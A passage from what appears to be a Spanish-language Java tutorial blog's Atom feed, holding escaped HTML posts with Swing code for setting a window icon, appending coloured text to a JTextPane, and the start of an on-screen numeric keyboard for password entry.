java.awt.Window;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JFrame;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JFrame{&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setIconImage(Toolkit.getDefaultToolkit().getImage(this.getClass().getResource("/lib/Ezio.png")));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String arg[]){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setBounds(0, 0, 200, 100);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setLocationRelativeTo(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El proyecto lo pueden descargar desde&amp;nbsp;&lt;a href="http://www.megaupload.com/?d=6ENZZN2O"&gt;aquí&lt;/a&gt;. Se incluyen los archivos fuentes y las capturas de pantalla.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-4601274990934781051?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/4601274990934781051/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/10/como-cambiar-el-icono-de-tus.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/4601274990934781051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/4601274990934781051'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/10/como-cambiar-el-icono-de-tus.html' title='Como cambiar el icono de tus aplicaciones'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-RVoBZ13gDHE/Tqcz2S-ExmI/AAAAAAAAAgE/A-gAAZEQfD0/s72-c/ColocarImagenEnWindows+1+-+Java+Zone.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-5822258727826113280</id><published>2011-10-25T00:12:00.004-05:00</published><updated>2012-01-29T22:09:05.291-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JTextPane con texto de colores'/><category scheme='http://www.blogger.com/atom/ns#' term='texto con colores'/><category scheme='http://www.blogger.com/atom/ns#' term='JTextPane'/><title type='text'>Texto con colores en un JTextPane</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Texto con colores en un JTextPane&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Veremos como colocar texto de diferentes colores en un JTextPane, de esta manera podemos personalizar el texto que escribimos en un campo de texto.&lt;br /&gt;&lt;br /&gt;Recuerden que el texto se añade al panel de texto cuando se presiona &lt;b&gt;Enter&lt;/b&gt; en el campo de texto que esta arriba.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-nxWXaAbrsRg/TqZEbDSlauI/AAAAAAAAAf8/uSPsvKuQnks/s1600/ColoresEnJTextPane+1+-+java+zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="251" src="http://1.bp.blogspot.com/-nxWXaAbrsRg/TqZEbDSlauI/AAAAAAAAAf8/uSPsvKuQnks/s400/ColoresEnJTextPane+1+-+java+zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Código&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.BorderLayout;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.Color;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.ActionEvent;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.ActionListener;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.util.ArrayList;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JApplet;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JComboBox;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JLabel;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JTextField;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.UIManager;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.UnsupportedLookAndFeelException;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JApplet{&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;ArrayList&amp;lt;Color&amp;gt; colores;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;String [] nomcolores={"Rojo","Azul","Verde","Cyan","Amarillo"};&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JComboBox combocolor;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextField txt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;CuadroTexto ct;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colocarSkin();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colores=new ArrayList&amp;lt;Color&amp;gt;();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colores.add(Color.red);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colores.add(Color.blue);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colores.add(Color.green);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colores.add(Color.cyan);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colores.add(Color.yellow);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JPanel ptexto=new JPanel();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ptexto.add(new JLabel("Texto: "));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txt=new JTextField(15);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txt.addActionListener(new ActionListener(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(ActionEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ct.append(colores.get(combocolor.getSelectedIndex()), txt.getText()+" ");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ptexto.add(txt);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;combocolor=new JComboBox(nomcolores);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ptexto.add(combocolor);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ct=new CuadroTexto();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(ptexto,BorderLayout.NORTH);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(ct);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void colocarSkin(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;} catch (ClassNotFoundException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;} catch (InstantiationException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;} catch (IllegalAccessException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;} catch (UnsupportedLookAndFeelException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase CuadroTexto&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.text.*;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.Color;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class CuadroTexto extends JTextPane {&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;public void append(Color c, String s) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp;StyleContext sc = StyleContext.getDefaultStyleContext();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp;AttributeSet aset = sc.addAttribute(SimpleAttributeSet.EMPTY,&lt;/b&gt;&lt;b&gt;StyleConstants.Foreground, c);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp;int len = getDocument().getLength();&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp;setCaretPosition(len);&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp;setCharacterAttributes(aset, false);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp;replaceSelection(s);&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Applet&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;applet code="clases.Principal.class" codebase="http://roger1345.byethost17.com/javazone/AppletColorEnJTextPane/" height="140" title="Java" width="400"&gt;&lt;/applet&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El proyecto lo pueden descargar desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/1JQIKFAH/ColoresEnJTextPane.rar"&gt;aquí&lt;/a&gt;. Se incluyen los archivos fuentes del proyecto junto con las&amp;nbsp;imágenes.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-5822258727826113280?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/5822258727826113280/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/10/texto-con-colores-en-un-jtextpane.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/5822258727826113280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/5822258727826113280'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/10/texto-con-colores-en-un-jtextpane.html' title='Texto con colores en un JTextPane'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-nxWXaAbrsRg/TqZEbDSlauI/AAAAAAAAAf8/uSPsvKuQnks/s72-c/ColoresEnJTextPane+1+-+java+zone.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-8308375988579035404</id><published>2011-10-23T22:14:00.000-05:00</published><updated>2012-01-29T22:00:57.659-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JNumKeyboar'/><category scheme='http://www.blogger.com/atom/ns#' term='teclado numerico en java'/><title type='text'>JNumKeyboard</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;JNumKeyboard&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Hoy veremos como crear un teclado&amp;nbsp;numérico&amp;nbsp;para la digitacion de claves, de esta forma colocamos un grado de seguridad a nuestras aplicaciones, ya que se evita que si, dando un pequeño ejemplo un poco extremista, si alguien nos&amp;nbsp;espía&amp;nbsp;con&amp;nbsp;algún&amp;nbsp;keylogger, no&amp;nbsp;podrá&amp;nbsp;hacerlo con esta herramienta ya que no se digita la contraseña con el teclado normal, sino con el mouse.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-d3w9UbpMB2U/TqTVZ8IyQOI/AAAAAAAAAf0/S4V4LsUn-N4/s1600/jnumkeyboard+1+java+zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="216" src="http://2.bp.blogspot.com/-d3w9UbpMB2U/TqTVZ8IyQOI/AAAAAAAAAf0/S4V4LsUn-N4/s400/jnumkeyboard+1+java+zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;import java.awt.Dimension;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;import java.awt.GridLayout;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;import java.awt.event.FocusEvent;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;import java.awt.event.FocusListener;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;public class Principal extends JApplet{&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextField txtusu=new JTextField(10);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPasswordField txtclave=new JPasswordField(10);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPopupMenu pop;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JNumKeyboard teclado;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colocarSkin();&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JPanel pafuera=new JPanel();&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JPanel p=new JPanel(new GridLayout(2,2,0,0));&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pafuera.setPreferredSize(new Dimension(200,30));&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.add(new JLabel("Usuario: "));&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.add(txtusu);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.add(new JLabel("Clave: "));&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.add(txtclave);&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: 